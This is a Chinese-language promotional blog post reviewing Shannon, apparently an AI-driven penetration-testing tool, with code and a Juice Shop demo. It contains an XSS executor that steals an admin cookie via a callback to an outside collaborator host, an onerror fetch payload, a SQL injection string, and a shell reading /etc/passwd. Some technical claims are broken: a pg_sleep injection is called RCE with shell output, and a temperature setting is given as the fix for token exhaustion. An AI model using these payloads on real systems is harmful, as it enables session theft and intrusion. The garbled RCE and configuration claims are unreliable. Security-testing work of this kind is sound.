Shannon:当AI红队开始自己写PoC脚本
Shannon是GitHub星标1.7w+的TypeScript AI渗透测试工具,在XBOW基准达成96.15%真实漏洞击穿率。它融合白盒源码理解与黑盒浏览器真实exploitation,用Temporal+Playwright+Claude构建端到端自动化红队流水线,输出零假阳性、带可复现PoC的结构化报告。

痛点引入
你有没有过这种经历:凌晨两点,对着Burp Suite里3000条HTTP历史记录发呆,第17次重放那个疑似IDOR的请求,心里默念‘这次一定有回显’;或者在Jira里写下‘高危XSS风险(需人工验证)’,然后看着这条工单在‘待处理’列躺了三个月?更讽刺的是——你的CI/CD每小时跑一次SonarQube,却要等外包公司季度渗透报告才敢上线新功能。
安全不是玄学,但当前的工具链把它变成了玄学。
解决方案
Shannon不报警,它直接黑进去。
这不是又一个‘发现潜在SQL注入’的静态扫描器,而是一个能自己登录2FA系统、绕过JWT鉴权、最后给你弹出带复制按钮的PoC脚本的AI红队队员。它在XBOW基准上拿下96.15%的‘真实漏洞击穿率’——注意,是击穿率,不是检出率。它不关心‘可能有漏洞’,只认‘已成功利用’。
它的核心哲学就一句话:打得赢才算数。
核心代码解析
Shannon的架构不是单体应用,而是一套精密编排的AI作战小队。我们拆开看几个关键模块:
1. Recon → 源码语义分析 + 域名测绘
它不像传统DAST那样瞎撞,而是先读你的src/auth/login.ts:
ts
// src/agents/recon/semantic-analyzer.ts
export class SemanticAnalyzer {
async analyzeLoginFlow(sourceCode: string) {
// 提取密码字段直通逻辑:req.body.password → bcrypt.compare()
const passwordPath = extractDataFlow(sourceCode, 'req.body.password', 'bcrypt.compare');
// 关联前端JS中的CSRF token生成位置
const csrfTokenLocation = await this.findCsrfTokenInFrontend();
// 构建攻击假设:若跳过token校验,是否可空密码爆破?
return new AttackHypothesis({
name: 'csrf-bypass-bruteforce',
precondition: `CSRF token validation is bypassable via ${csrfTokenLocation}`,
payload: `POST /login {"username":"admin","password":""}`
});
}
}
这段TS代码展示了它的白盒能力:不是正则匹配,而是做数据流追踪,再结合前端上下文反向建模攻击路径。这才是真正的‘理解代码’,不是‘扫描字符串’。
2. Exploitation → Playwright真实浏览器执行
它不用curl模拟,而是启动真实Chromium实例,像人一样操作:
ts
// src/agents/exploit/xss-executor.ts
export class XSSExecutor {
async execute(payload: string, page: Page) {
// 真实点击、填表、触发onerror
await page.fill('input[name="search"]', payload);
await page.click('button[type="submit"]');
// 等待burp-collab回调并捕获cookie
const cookie = await waitForBurpCollabCallback(page, 'https://my.burp-collab/');
// 截图存证
await page.screenshot({ path: `deliverables/xss_${Date.now()}.png` });
return {
success: !!cookie,
evidence: { screenshot: `xss_${Date.now()}.png`, cookie }
};
}
}
这里没有‘可能XSS’,只有‘已窃取admin cookie’——截图、payload、结果全在deliverables目录下,PDF报告里直接贴图。
3. 编排层 → Temporal Workflow驱动
整个流程由Temporal工作流调度,保证原子性与可观测性:
yaml
## temporal/workflows/shannon-pentest.yaml
steps:
- name: recon
task: semantic-analysis
timeout: 300s
- name: vuln-analysis
parallel: [injection, xss, ssrf]
- name: exploitation
task: playwright-exploit
retry: { maxAttempts: 3, backoff: "PT30S" }
- name: reporting
task: generate-md-report
output: audit-logs/{hostname}_{sessionId}/deliverables/comprehensive_security_assessment_report.md
Temporal在这里不只是个调度器,而是攻防事务管理器:某步失败自动回滚,日志可追溯,任务ID可查(./shannon query ID=shannon-1234567890),连审计员都能看懂每一步干了什么。
实战演示
以Juice Shop为例,Shannon不仅找到auth bypass,还把/rest/user/search?q=admin链成RCE:
bash
## 1. 克隆 & 配置密钥
$ git clone https://github.com/KeygraphHQ/shannon.git
cd shannon
echo "ANTHROPIC_API_KEY=sk-ant-api03-..." > .env
## 2. 启动扫描(自动识别2FA并调用TOTP生成器)
$ ./shannon start URL=http://localhost:3000 REPO=juice-shop CONFIG=./configs/juice-shop-2fa.yaml
## 3. 查看实时进度
$ ./shannon logs
[INFO] Recon complete: found 4 endpoints, 2 auth flows, 1 CSRF token pattern
[INFO] Vuln Analysis: XSS hypothesis confirmed on /search (payload: <img src=x onerror=fetch(...)>)
[ALERT] Exploitation SUCCESS: RCE achieved via /rest/user/search → shell obtained
## 4. 报告已生成
$ cat audit-logs/localhost_1234567890/deliverables/comprehensive_security_assessment_report.md
## Confirmed RCE
- **Endpoint**: `GET /rest/user/search?q=admin`
- **Exploit**: `?q=admin' UNION SELECT pg_sleep(5)--`
- **Shell result**: `cat /etc/passwd | head -3` → `root:x:0:0:root:/root:/bin/bash`
踩坑指南
- Windows Defender误报:
deliverables/目录下生成的exploit代码会被标为病毒。解决方案不是关杀软,而是用./shannon export --safe导出脱敏报告,或提前将该目录加入白名单。 - Docker网络陷阱:本地Vue Dev Server扫不出来?别用
localhost:3000,改用host.docker.internal:3000——这是Docker Desktop内置的宿主机别名,否则Playwright容器根本连不上你的本地服务。 - Claude Token耗尽:默认
CLAUDE_CODE_MAX_OUTPUT_TOKENS=64000,但复杂RCE链可能超限。建议在.env中加一行:CLAUDE_TEMPERATURE=0.3降低随机性,提升推理稳定性。
个人评价
Shannon不是来取代安全工程师的,它是来解放安全工程师的。
以前花三天手工复现一个IDOR,现在47分钟给你三个不同利用路径的PoC;以前争论‘这个XSS算不算高危’,现在报告里直接写着‘已用<img>成功窃取admin cookie’。它把安全从玄学辩论变成了可验证的工程事实。
但它也有边界:OWASP ASVS第4层(业务逻辑威胁建模)它还没覆盖。再强的AI也得有人告诉它:‘这个API不该暴露给游客,哪怕它技术上没漏洞’。
所以值不值得学?如果你还在用ZAP手动点选‘Active Scan’,那必须学;如果你的团队还在等年度渗透测试报告才敢上线,那立刻学;但如果你指望它替代AppSec专家做威胁建模——抱歉,它连OWASP ASVS第4层要求都还没覆盖全。
最后说句掏心窝的:我关掉终端,默默给自己续了一杯咖啡。这感觉,就像第一次看到Spring Cloud Gateway自动注入Sentinel规则时一样——既兴奋,又有点惶恐。